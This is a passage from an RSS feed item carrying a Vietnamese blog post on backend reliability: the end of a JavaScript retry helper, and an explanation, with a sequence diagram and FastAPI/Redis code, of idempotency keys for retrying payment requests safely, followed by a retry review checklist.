      &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;RETRYABLE&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;has&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;status&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nx"&gt;attempt&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nx"&gt;maxAttempts&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

      &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;wait&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;parseRetryAfter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;retry-after&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;??&lt;/span&gt; &lt;span class="nf"&gt;backoffMs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;attempt&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;wait&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;deadline&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;aborted&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nx"&gt;attempt&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nx"&gt;maxAttempts&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;backoffMs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;attempt&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Có hai signal: một cái cho timeout từng attempt (3s), một cái cho deadline tổng (15s). Khi hết deadline thì dừng hẳn, không cố thêm lần nào nữa.&lt;/p&gt;

&lt;h2&gt;
  
  
  Idempotency key: điều kiện để retry POST an toàn
&lt;/h2&gt;

&lt;p&gt;Quay lại bài toán thanh toán. Client gửi &lt;code&gt;POST /payments&lt;/code&gt;, server xử lý xong, trừ tiền xong, nhưng response bị mất do network. Client timeout rồi retry, và thế là khách bị trừ tiền 2 lần.&lt;/p&gt;

&lt;p&gt;Cách giải mà Stripe đã phổ biến (và đang được chuẩn hoá trong IETF draft &lt;code&gt;Idempotency-Key&lt;/code&gt; header) là client tự sinh một key duy nhất cho mỗi thao tác logic, rồi gửi lại &lt;strong&gt;đúng key đó&lt;/strong&gt; mỗi lần retry. Server dùng key để nhận ra request trùng.&lt;br&gt;
&lt;/p&gt;

&lt;pre data-lang="mermaid"&gt;&lt;code&gt;sequenceDiagram
    participant C as Client
    participant S as API Server
    participant R as Redis
    participant DB as Database
    C-&amp;gt;&amp;gt;S: POST /payments (Idempotency-Key: abc123)
    S-&amp;gt;&amp;gt;R: SET idem:abc123 processing NX EX 86400
    R--&amp;gt;&amp;gt;S: OK (key mới)
    S-&amp;gt;&amp;gt;DB: Tạo payment
    S-&amp;gt;&amp;gt;R: SET idem:abc123 = response
    S--xC: Response bị mất (timeout)
    C-&amp;gt;&amp;gt;S: Retry POST (cùng key abc123)
    S-&amp;gt;&amp;gt;R: GET idem:abc123
    R--&amp;gt;&amp;gt;S: Response đã lưu
    S--&amp;gt;&amp;gt;C: 201 (trả lại response cũ, không trừ tiền lần 2)&lt;/code&gt;&lt;/pre&gt;



&lt;p&gt;Phía server, một bản tối giản dùng FastAPI và &lt;code&gt;redis-py&lt;/code&gt; 5.x:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;fastapi&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;FastAPI&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Header&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;HTTPException&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;redis.asyncio&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Redis&lt;/span&gt;

&lt;span class="n"&gt;app&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;FastAPI&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;redis&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Redis&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;localhost&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;decode_responses&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;TTL&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;24&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;3600&lt;/span&gt;

&lt;span class="nd"&gt;@app.post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/payments&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;status_code&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;201&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;create_payment&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;idempotency_key&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Header&lt;/span&gt;&lt;span class="p"&gt;(...)):&lt;/span&gt;
    &lt;span class="n"&gt;cache_key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;idem:&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;idempotency_key&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;

    &lt;span class="c1"&gt;# Chỉ một request được "giành" key này
&lt;/span&gt;    &lt;span class="n"&gt;acquired&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="n"&gt;redis&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cache_key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;processing&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;nx&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;TTL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;acquired&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;cached&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="n"&gt;redis&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cache_key&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;cached&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;processing&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="nc"&gt;HTTPException&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;409&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Request đang được xử lý, thử lại sau&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;loads&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cached&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;charge_customer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# logic thật
&lt;/span&gt;    &lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="nb"&gt;Exception&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="n"&gt;redis&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;delete&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cache_key&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# cho phép retry nếu fail thật
&lt;/span&gt;        &lt;span class="k"&gt;raise&lt;/span&gt;

    &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="n"&gt;redis&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cache_key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;dumps&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;ex&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;TTL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Có vài chi tiết hay bị bỏ sót:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Key phải được sinh &lt;strong&gt;một lần&lt;/strong&gt; ở client (ví dụ &lt;code&gt;crypto.randomUUID()&lt;/code&gt;) trước vòng retry, không sinh lại ở mỗi attempt.&lt;/li&gt;
&lt;li&gt;Nên lưu kèm hash của request body. Nếu cùng key mà body khác thì trả về 422, vì đó là bug ở phía client.&lt;/li&gt;
&lt;li&gt;Với hệ thống tiền bạc thật, nên lưu idempotency record vào cùng transaction với DB chứ không chỉ dựa vào Redis.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Kết luận
&lt;/h2&gt;

&lt;p&gt;Retry là công cụ mạnh, nhưng nếu không có ràng buộc thì nó biến lỗi nhỏ thành sự cố lớn. Checklist mình dùng khi review code có retry:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Phân loại lỗi trước:&lt;/strong&gt; chỉ retry lỗi tạm thời (network, 408, 429, 5xx). Lỗi 4xx thì fail ngay.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Luôn có backoff + full jitter.&lt;/strong&gt; Không bao giờ retry ngay lập tức, không bao giờ để sleep cố định.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Đặt budget kép:&lt;/strong&gt; giới hạn số lần &lt;em&gt;và&lt;/em&gt; tổng thời gian. Tôn trọng &lt;code&gt;Retry-After&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Retry ở đúng một tầng.&lt;/strong&gt; Ghi rõ trong tài liệu kiến trúc tầng nào chịu trách nhiệm retry.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Thao tác không idempotent thì phải có Idempotency-Key&lt;/strong&gt;, nếu không thì đừng retry tự động.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Log mỗi lần retry&lt;/strong&gt; kèm attempt number. Khi tỉ lệ retry tăng vọt, đó thường là dấu hiệu sớm nhất cho thấy downstream đang có vấn đề, thậm chí trước cả khi alert error rate kêu.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Bắt đầu từ việc nhỏ: grep codebase tìm các vòng &lt;code&gt;for&lt;/code&gt; hoặc &lt;code&gt;while&lt;/code&gt; quanh HTTP call, rồi thay bằng &lt;code&gt;tenacity&lt;/code&gt; hoặc helper như ví dụ ở trên. Làm mất chừng nửa ngày, nhưng có thể giúp bạn tránh được một đêm on-call rất dài.&lt;/p&gt;

</description>
      <category>backend</category>
      <category>reliability</category>
      <category>python</category>
      <category>javascript</category>
    </item>
  </channel>
</rss>
